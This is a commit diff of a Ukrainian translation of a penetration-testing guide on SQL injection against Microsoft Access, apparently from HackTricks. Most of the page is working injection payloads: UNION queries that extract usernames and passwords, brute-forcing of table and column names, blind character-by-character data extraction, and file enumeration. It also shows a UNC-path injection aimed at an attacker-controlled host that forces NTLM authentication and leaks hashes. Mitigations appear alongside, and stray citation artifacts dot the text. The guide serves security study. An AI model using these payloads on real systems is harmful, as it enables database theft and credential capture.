Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md

This commit is contained in:
Translator 2025-07-11 10:08:24 +00:00
parent ff65adba62
commit 68451864ce

View File

@ -4,7 +4,7 @@
## Онлайн майданчик
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## Обмеження БД
@ -25,7 +25,7 @@
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Складені запити
### Stacked Queries
Вони не підтримуються.
@ -41,14 +41,14 @@
У SQLi ви зазвичай хочете якимось чином виконати новий запит, щоб витягти інформацію з інших таблиць. MS Access завжди вимагає, щоб у **підзапитах або додаткових запитах був вказаний `FROM`**.\
Отже, якщо ви хочете виконати `UNION SELECT` або `UNION ALL SELECT` або `SELECT` в дужках у умові, вам завжди **необхідно вказати `FROM` з дійсною назвою таблиці**.\
Отже, вам потрібно знати **дійсну назву таблиці**.
Тому вам потрібно знати **дійсну назву таблиці**.
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
> [!WARNING]
> Це дозволить вам ексфільтрувати значення поточної таблиці, не знаючи назви таблиці.
> Це дозволить вам ексфільтрувати значення поточної таблиці без необхідності знати назву таблиці.
**MS Access** дозволяє **незвичний синтаксис** такий як **`'1'=2='3'='asd'=false`**. Як зазвичай, SQL-ін'єкція буде всередині **`WHERE`** клаузи, і ми можемо це зловживати.
@ -62,9 +62,9 @@
```
_Не соромтеся перевірити це в онлайн-плейграунді._
### Брутфорсинг імен таблиць
### Брутфорс назв таблиць
Використовуючи техніку зв'язування рівних, ви також можете **брутфорсити імена таблиць** з чимось на зразок:
Використовуючи техніку ланцюгового рівності, ви також можете **брутфорсити назви таблиць** з чимось на кшталт:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
@ -75,11 +75,11 @@ _Не соромтеся перевірити це в онлайн-плейгр
_Не соромтеся перевірити це в онлайн-плейграунді._
- Sqlmap загальні назви таблиць: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- Є ще один список у [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- Є ще один список в [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Брутфорсинг назв стовпців
### Брутфорсинг назв колонок
Ви можете **брутфорсити поточні назви стовпців** за допомогою трюку з ланцюговими рівностями з:
Ви можете **брутфорсити поточні назви колонок** за допомогою трюку з ланцюговими рівностями з:
```sql
'=column_name='
```
@ -95,15 +95,25 @@ _Не соромтеся перевірити це в онлайн-плейгр
```
### Вивантаження даних
Ми вже обговорювали [**техніку з'єднання рівних**](ms-access-sql-injection.md#chaining-equals-+-substring) **для вивантаження даних з поточної та інших таблиць**. Але є й інші способи:
Ми вже обговорювали [**техніку з'єднання рівно**](ms-access-sql-injection.md#chaining-equals-+-substring) **для вивантаження даних з поточної та інших таблиць**. Але є й інші способи:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
В загальному, запит використовує оператор "if-then" для активації "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє розглянути лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків.
У двох словах, запит використовує оператор "if-then", щоб викликати "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє врахувати лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків.
### Time Based
### Часові (Сліпі) Трюки
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
Jet/ACE SQL сам по собі **не** надає рідну функцію `SLEEP()` або `WAITFOR`, тому традиційні сліпі ін'єкції на основі часу обмежені. Однак ви все ще можете ввести вимірювальну затримку, змусивши движок отримати **мережевий ресурс, який повільний або не відповідає**. Оскільки движок спробує відкрити файл перед поверненням результату, час відповіді HTTP відображає затримку до хоста, контрольованого зловмисником.
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
Вкажіть UNC шлях до:
* SMB спільного доступу за високошвидкісним з'єднанням
* хоста, який скидає TCP рукопожаття після `SYN-ACK`
* вогневого стовпа
Додаткові секунди, введені віддаленим запитом, можуть бути використані як **вимірювальний оракул поза каналом** для булевих умов (наприклад, вибрати повільний шлях лише тоді, коли ін'єкований предикат істинний). Microsoft документує поведінку віддаленої бази даних та пов'язаний реєстровий вимикач у KB5002984. citeturn1search0
### Інші цікаві функції
@ -111,8 +121,8 @@ Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=
- `LEN('1234')` отримати довжину рядка
- `ASC('A')` отримати ASCII значення символу
- `CHR(65)` отримати рядок з ASCII значення
- `IIF(1=1,'a','b')` якщо то
- `COUNT(*)` підрахувати кількість елементів
- `IIF(1=1,'a','b')` якщо тоді
- `COUNT(*)` Підрахувати кількість елементів
## Перерахування таблиць
@ -126,13 +136,13 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, коли ви **не маєте доступу для читання таблиці `MSysObjects`**.
Однак зверніть увагу, що дуже типово знаходити SQL-ін'єкції, коли у вас **немає доступу для читання таблиці `MSysObjects`**.
## Доступ до файлової системи
### Повний шлях до кореневої директорії веб-сайту
Знання **абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки**. Якщо помилки програми не повністю приховані, шлях до директорії може бути виявлений, намагаючись вибрати дані з неіснуючої бази даних.
Знання **абсолютного шляху до кореневої директорії веб-сайту може полегшити подальші атаки**. Якщо помилки програми не повністю приховані, шлях до директорії можна виявити, намагаючись вибрати дані з неіснуючої бази даних.
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
@ -140,7 +150,7 @@ MS Access відповідає **повідомленням про помилк
### Перерахування файлів
Наступний вектор атаки може бути використаний для **виведення існування файлу на віддаленій файловій системі**. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним:
Наступний вектор атаки може бути використаний для **виявлення існування файлу на віддаленій файловій системі**. Якщо вказаний файл існує, MS Access викликає повідомлення про помилку, що інформує про те, що формат бази даних є недійсним:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
@ -150,18 +160,51 @@ MS Access відповідає **повідомленням про помилк
### Вгадування імені файлу .mdb
**Ім'я файлу бази даних (.mdb)** можна вивести за допомогою наступного запиту:
**Ім'я файлу бази даних (.mdb)** можна виявити за допомогою наступного запиту:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Де **name\[i] є іменем файлу .mdb** і **realTable є існуючою таблицею** в базі даних. Хоча MS Access завжди викликає повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb.
Де **name[i] - це ім'я файлу .mdb** і **realTable - це існуюча таблиця** в базі даних. Хоча MS Access завжди викликатиме повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb.
### Крадій паролів .mdb
### Доступ до віддаленої бази даних та крадіжка облікових даних NTLM (2023)
Оскільки Jet 4.0, кожен запит може посилатися на таблицю, розташовану в *іншому* файлі `.mdb/.accdb` за допомогою клаузи `IN '<path>'`:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
Якщо введення користувача конкатенується в частині після **IN** (або в `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` виклику), зловмисник може вказати **UNC шлях**, який вказує на хост, який вони контролюють. Двигун буде:
1. намагатися аутентифікуватися через SMB / HTTP, щоб відкрити віддалену базу даних;
2. витікати **NTLM облікові дані** веб-сервера (примусова аутентифікація);
3. аналізувати віддалений файл неправильно сформована або шкідлива база даних може викликати помилки пам'яті Jet/ACE, які були виправлені кілька разів (наприклад, CVE-2021-28455).
Практичний приклад ін'єкції:
```sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
```
Вплив:
* Витік Net-NTLMv2 хешів (можна використовувати для реле або офлайн-ламання).
* Потенційне віддалене виконання коду, якщо буде використано нову уразливість парсера Jet/ACE.
Заходи пом'якшення (рекомендується навіть для застарілих Classic ASP додатків):
* Додайте значення реєстру `AllowQueryRemoteTables = 0` під `HKLM\Software\Microsoft\Jet\4.0\Engines` (і під відповідним шляхом ACE). Це змушує Jet/ACE відхиляти віддалені шляхи, що починаються з `\\`.
* Блокуйте вихідний SMB/WebDAV на межі мережі.
* Очищайте / параметризуйте будь-яку частину запиту, яка може потрапити в клаузу `IN`.
Вектор примусової аутентифікації був повторно розглянутий Check Point Research у 2023 році, доводячи, що він все ще може бути використаний на повністю патчених Windows Server, коли ключ реєстру відсутній. citeturn0search0
### .mdb Password Cracker
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) - це безкоштовна утиліта, яка може бути використана для відновлення основного пароля бази даних Microsoft Access 95/97/2000/XP або Jet Database Engine 3.0/4.0.
## Посилання
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 Налаштування Jet/ACE для блокування віддалених таблиць](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research Зловживання пов'язаними таблицями Microsoft Access для примусової аутентифікації NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
{{#include ../../banners/hacktricks-training.md}}